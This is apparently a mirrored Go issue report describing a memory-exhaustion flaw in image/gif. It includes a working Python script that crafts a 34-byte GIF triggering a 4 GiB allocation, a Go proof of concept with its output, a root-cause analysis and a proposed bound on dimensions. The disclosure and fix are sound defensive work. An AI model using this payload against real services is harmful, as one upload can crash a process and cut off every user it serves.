golang/go

image/gif: improve documentation on how to avoid unexpected allocations by using image.DecodeConfig

Open

Aperta il 30 apr 2026

Vedi su GitHub
 (5 commenti) (0 reazioni) (0 assegnatari)Go (133.883 star) (19.008 fork)batch import
DocumentationNeedsInvestigationhelp wanted

Descrizione

Summary

image/gif allocates a pixel buffer sized directly from GIF header dimensions with no upper bound. A 34-byte malicious GIF triggers a 4 GiB allocation in under 3 ms — before any pixel data is read.

Confirmed on Go 1.26.0 (macOS arm64, Linux amd64).


Reproduction

# gif_craft.py — creates the 34-byte malicious GIF
import struct
W = H = 65535
gif = bytearray()
gif += b'GIF89a'
gif += struct.pack('<HH', W, H)
gif += bytes([0xF0, 0x00, 0x00])
gif += bytes([0,0,0, 255,255,255])
gif += b'\x2C'
gif += struct.pack('<HHHH', 0, 0, W, H)
gif += bytes([0x40, 0x02, 0x01, 0x14, 0x00, 0x3B])
with open('/tmp/malicious.gif', 'wb') as f:
    f.write(gif)
print(f'{len(gif)} bytes written')

// gif_poc.go
package main

import (
    "fmt"
    "image/gif"
    "os"
    "runtime"
    "time"
)

func memMB() uint64 {
    var m runtime.MemStats
    runtime.ReadMemStats(&m)
    return m.Alloc / 1024 / 1024
}

func main() {
    f, _ := os.Open("/tmp/malicious.gif")
    defer f.Close()
    before := memMB()
    start := time.Now()
    _, err := gif.DecodeAll(f)
    fmt.Printf("Before: %d MB\nAfter:  %d MB (delta: +%d MB)\nTime: %v\nError: %v\n",
        before, memMB(), int64(memMB())-int64(before), time.Since(start), err)
}

Output:

Before: 0 MB
After:  4096 MB  (delta: +4096 MB)
Time:   2.503417ms
Error:  gif: not enough image data
The error fires after the 4 GiB allocation. The damage is already done.

Root Cause
newImageFromDescriptor() in src/image/gif/reader.go calls
image.NewPaletted() → pixelBufferLength() → make([]uint8, w*h).

pixelBufferLength() only guards arithmetic overflow (negative result on
32-bit). On 64-bit: 65535 × 65535 = 4,294,836,225 fits in int64 — no panic,
no error, 4 GiB allocated unconditionally.

The logical screen dimensions set in readHeaderAndScreenDescriptor() are
never validated for practical size — only that frame bounds fit within them.

http.MaxBytesReader does not help — the 34-byte body is read in full
before any allocation limit is reached. The allocation comes from header
fields, not pixel data.

encoding/gob received equivalent hardening in Go 1.20 via
saferio.SliceCapWithSize. image/gif did not.

Proposed Fix
In src/image/gif/reader.go, readHeaderAndScreenDescriptor():

const maxGIFPixels = 1 << 26 // 64M pixels ≈ 64 MB (comfortably covers 4K frames)

func (d *decoder) readHeaderAndScreenDescriptor() error {
    // ... existing parsing ...
    d.width  = int(d.tmp[6]) + int(d.tmp[7])<<8
    d.height = int(d.tmp[8]) + int(d.tmp[9])<<8

    if int64(d.width)*int64(d.height) > maxGIFPixels {
        return errors.New("gif: image dimensions too large")
    }
    // ...
}
Bounding the logical screen here covers all frame allocations
(since newImageFromDescriptor enforces frame ≤ logical screen)
including the second buffer allocated by uninterlace().

Impact
Any Go service calling image.Decode() or gif.Decode() on untrusted input
is affected — including applications that import _ "image/gif" indirectly.
One malicious upload OOM-kills the process, terminating all in-flight requests
from all other users simultaneously.

Amplification ratio: 34 bytes → 4,294,836,225 bytes (126,318,712 : 1)

---
**Title to use:**
image/gif: no allocation limit — 34-byte GIF triggers 4 GiB allocation before any pixel data is read

**Label to add:** `Security` (if available), `NeedsInvestigation`

Guida contributor